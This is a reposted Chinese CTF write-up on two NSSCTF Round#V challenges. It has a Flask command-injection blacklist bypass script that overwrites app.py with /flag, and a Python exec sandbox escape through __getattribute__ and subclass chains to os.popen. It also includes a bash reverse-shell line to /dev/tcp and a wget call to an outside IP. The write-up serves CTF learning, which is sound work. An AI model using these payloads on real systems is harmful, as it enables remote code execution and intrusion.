IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Python知识库 -> # NSSCTF Round#V -> 正文阅读

[Python知识库]# NSSCTF Round#V

这次比赛的题目逻辑不是很难,但是需要自己去思考怎么如何利用,通过这样的题目可以去训练利用漏洞的思维,所以花了很多时间去复现

(ps:naive calculator利用eval反弹shell没成功,后面有时间再研究)

1.PYRCE

题目给了源码

from flask import Flask, request, make_response
import uuid
import os

# flag in /flag
app = Flask(__name__)

def waf(rce):
    black_list = '01233456789un/|{}*!;@#\n`~\'\"><=+-_ '
    for black in black_list:
        if black in rce:
            return False
    return True

@app.route('/', methods=['GET'])
def index():
    if request.args.get("???"):
        nss = request.args.get("???")
        print("nss is ",nss)
        if waf(nss):
            os.popen(nss)
        else:
            return "waf"
    return "/source"


@app.route('/source', methods=['GET'])
def source():
    src = open("app.py", 'rb').read()
    return src

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=8080)

# cat /flag
# 𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗 # unicode字符
# wget%09𝟏𝟑𝟒.𝟐𝟐𝟐.𝟏𝟕𝟎.𝟐𝟒𝟐:𝟕𝟕𝟕𝟕

逻辑很简单,传入一个参数,在os.popen()处执行命令,这题的难点在于绕黑名单

black_list = '01233456789un/|{}*!;@#\n`~\'\"><=+-_ '

写个脚本看看那些没有过滤

def waf(rce):
    black_list = '01233456789un/|{}*!;@#\n`~\'\"><=+-_ '
    for black in black_list:
        if black in rce:
            print(black)
            return False
    return True
L = []
for i in range(128):
    if(not waf(chr(i))):
        continue
    else:
        L.append(chr(i))
print(L)
'''
['\x00', '\x01', '\x02', '\x03', '\x04', '\x05', '\x06', '\x07', '\x08', '\t', '\x0b', '\x0c', '\r', '\x0e', '\x0f', '\x10', '\x11', '\x12', '\x13', '\x14', '\x15', '\x16', '\x17', '\x18', '\x19', '\x1a', '\x1b', '\x1c', '\x1d', '\x1e', '\x1f', '$', '%', '&', '(', ')', ',', '.', ':', '?', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '[', '\\', ']', '^', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'o', 'p', 'q', 'r', 's', 't', 'v', 'w', 'x', 'y', 'z', '\x7f']
'''

选出常用的,包括\t $ & () , . : ? 以及大小写字母(过滤u n)

想不到怎么做,下面是根据WP复现的exp

  • 空格用tab绕过
  • / 通过pwd得到,不过需要反复用cd …回到根目录,这样pwd的内容就是 /
  • 目标不出网,一种是反弹shell,一种是覆盖目标文件,采取覆盖目标文件的方法,然后访问 /resource路由,读取app.py的内容即flag的内容
import requests as req

url = "http://43.143.7.97:28062/????="

#payload = "cp%09$(cd%09..&&cd%09..&&cd%09..&&cd%09..&&cd%09..&&cd%09..&&cd%09..&&cd%09..&&echo%09$(pwd)flag)%09app.py"

payload = "cp%09%24%28cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26echo%09%24%28pwd%29flag%29%09app%2Epy"

# cp%09$(cd%09..&&cd%09..&&cd%09..&&cd%09..&&cd%09..&&cd%09..&&cd%09..&&cd%09..&&echo%09$(pwd)flag)%09app.py

response = req.get(url+payload)

print(response.text)

print(req.get("http://43.143.7.97:28047/source").text)

2.naive_calculator

题目给了源码

import dis, sys

def pr(x, end='\n'):
    sys.stdout.write(str(x) + end)
    sys.stdout.flush()

pr("========================================")
pr("|           NAIVE CALCULATOR           |")
pr("----------------------------------------")
pr("|          Too simple, sometimes naive.|")
pr("========================================")
pr("")
pr("Sample input: a = 1 + 2")
pr("Sample output: a = 3")
pr("")

def check_code_object(code_info):
    for info_line in code_info:
        if 'code object' in info_line:
            pr("DON'T BE PUSSY")
            exit()

def check_names(code_info):
    for info_line in code_info[code_info.index('Names:'):]:
        if '1:' in info_line:
            pr('HAIYAA')
            exit()

if __name__ == '__main__':
    expr = input('> ')
    code_info = dis.code_info(expr).split('\n')
    check_code_object(code_info)

    if 'Names:' in code_info:
        check_names(code_info)

    exec(expr, {'__builtins__': None}, res:={})
    for LHS, RHS in res.items():
        pr(f"[!] {LHS} = {RHS}")

经过在自己的机器上测试,理解了这段代码:这个程序利用exec函数动态执行表达式,但是只能有一个Names,也就是命名空间(或者说是变量?),而且不能是code object,代码对象(也就是匿名函数?)

难点:

  • 只能有一个变量
  • __builtins__设置为None,如果rce需要突破这里的限制,即python沙箱绕过

根据提示,可以得到一些思路

__getattribute__ = (None).__getattribute__('__class__'); # None也可以用来作为获取基类

__getattribute__即作为变量,也作为内置属性,反复用

贴一个__getattribute__详细解析

在这里插入图片描述

注意如果是直接用类名.类属性的形式调用类属性,是不会调用 __getattribute__方法,必须是对象的实例对属性的调用,包括类属性

expr = ''

expr += "__getattribute__ = (None).__getattribute__('__class__');"

#下面的括号中必须传入一个__getattribute__,可以看做self的值 
expr += "__getattribute__ = __getattribute__.__getattribute__(__getattribute__,'__base__');"

expr += "__getattribute__ = __getattribute__.__getattribute__(__getattribute__,'__subclasses__')();"

print(expr)

接下就是寻找可用的子类,找到命令执行,然后反弹shell

在本地环境(ubuntu20.04 python3.8)反弹shell成功

expr = ''

expr += "__getattribute__ = (None).__getattribute__('__class__');"

expr += "__getattribute__ = __getattribute__.__getattribute__(__getattribute__,'__base__');"
expr += "__getattribute__ = __getattribute__.__getattribute__(__getattribute__,'__subclasses__')();"

expr += "__getattribute__ = __getattribute__[132];"

expr += "__getattribute__ = __getattribute__.__getattribute__(__getattribute__,'__init__');"

expr += "__getattribute__ = __getattribute__.__getattribute__('__globals__');"
expr += "__getattribute__ = __getattribute__['popen']('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');"

print(expr)

远程环境中可能含popen的类不一样,但是我在尝试过程中发现globals全局变量中含有flag,下面生成的payload直接打,在输出中可以看到flag

expr = ''

expr += "__getattribute__ = (None).__getattribute__('__class__');"

expr += "__getattribute__ = __getattribute__.__getattribute__(__getattribute__,'__base__');"
expr += "__getattribute__ = __getattribute__.__getattribute__(__getattribute__,'__subclasses__')();"

expr += "__getattribute__ = __getattribute__[132];"

expr += "__getattribute__ = __getattribute__.__getattribute__(__getattribute__,'__init__');"

expr += "__getattribute__ = __getattribute__.__getattribute__('__globals__');"
print(expr)

官方的解法

__getattribute__ = (None).__getattribute__('__class__');
__getattribute__ = __getattribute__.__getattribute__(__getattribute__, '__base__');
__getattribute__.__getattribute__(__getattribute__.__getattribute__(__getattribute__.__getattribute__(__getattribute__, '__subclasses__')()[84](), 'load_module') ('os'), 'system') ('sh')
  Python知识库 最新文章
Python中String模块
【Python】 14-CVS文件操作
python的panda库读写文件
使用Nordic的nrf52840实现蓝牙DFU过程
【Python学习记录】numpy数组用法整理
Python学习笔记
python字符串和列表
python如何从txt文件中解析出有效的数据
Python编程从入门到实践自学/3.1-3.2
python变量
上一篇文章      下一篇文章      查看所有文章
加:2022-09-04 01:07:23  更:2022-09-04 01:11:29 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 9:29:12-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码